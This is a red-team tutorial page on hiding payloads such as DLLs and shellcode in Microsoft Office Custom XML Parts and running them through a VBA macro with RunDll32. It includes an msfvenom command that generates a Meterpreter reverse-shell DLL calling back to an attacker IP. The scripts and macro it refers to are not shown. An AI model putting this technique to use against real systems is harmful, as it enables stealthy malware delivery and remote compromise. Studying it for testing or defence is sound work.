MS Office - Custom XML parts

Theory

Custom XML Parts are structured data containers embedded within Microsoft Office documents (like DOCX, XLSX, or PPTX). Unlike visible content (text, charts, etc.), these parts are stored separately from the main document body and are primarily used by developers to hold configuration data, metadata, or information consumed by Office add-ins.

Each custom part is represented as a separate .xml file inside the Office document archive (which is a ZIP file under the hood), and they are typically stored in the /customXml/ directory. These XMLs can include arbitrary data—Office doesn’t validate their content unless explicitly linked with active components like macros or embedded scripts.

From a red team perspective, XML Custom Parts offer a stealthy location to hide payloads, shellcode, or indicators used later during exploitation. Since they don’t directly impact document rendering or functionality, they may escape attention during casual inspection or static analysis.

Practice

Manually

You can embed payloads such as Shellcode, DLLs, or Commands into Custom XML Parts and retrieve them during document execution using VBA macros. This approach allows payloads to live inside the document without being directly visible in the main content or macros, reducing detection.

In this example, we’ll demonstrate how to retreive a DLL or binary from Custom XML Parts, Write it to the disk and execute it from a VBA Macro.

1. Generate the DLL

There are multiple ways to generate a malicious DLL. In this example, we will simply use msfvenom.

# Simple Meterpreter Staged DLL
msfvenom LHOST=10.10.14.144 LPORT=443 -p windows/x64/meterpreter/reverse_tcp -f dll > rev.dll
2. Prepare the environement

In order to work with XML Custom Parts in Word, we first need to enable the Developer tab in settings. Go to "File" --> "Options" --> "Customize Ribbon" --> and check "Developer"

3. Generate Custom XML Part from the DLL

Using the Python script below, we can generate Custom XML Part from our DLL.

We can run it as follows.

4. Insert the XML Custom Part

To insert the XML Custom Part, go to "Developer" --> "XML Mapping Pane"

Click "Custom XML Part" --> "Add"

And finally select the previously generated Custom XML Part.

5. Write & insert the Macro

We should now write a VBA Macro that will retreive the inserted DLL to execute it. We will use RunDll32 to do so.

The Random part name should be edited according to the previously generated one.

To insert the macro, you can hit ALT + F11 when your Word document is opened. More details can be found on this page.

Here is a proof-of-concept example using a Sliver C2 DLL.

Tools - Automate The Process

//TO DO

Resources

Last updated

Was this helpful?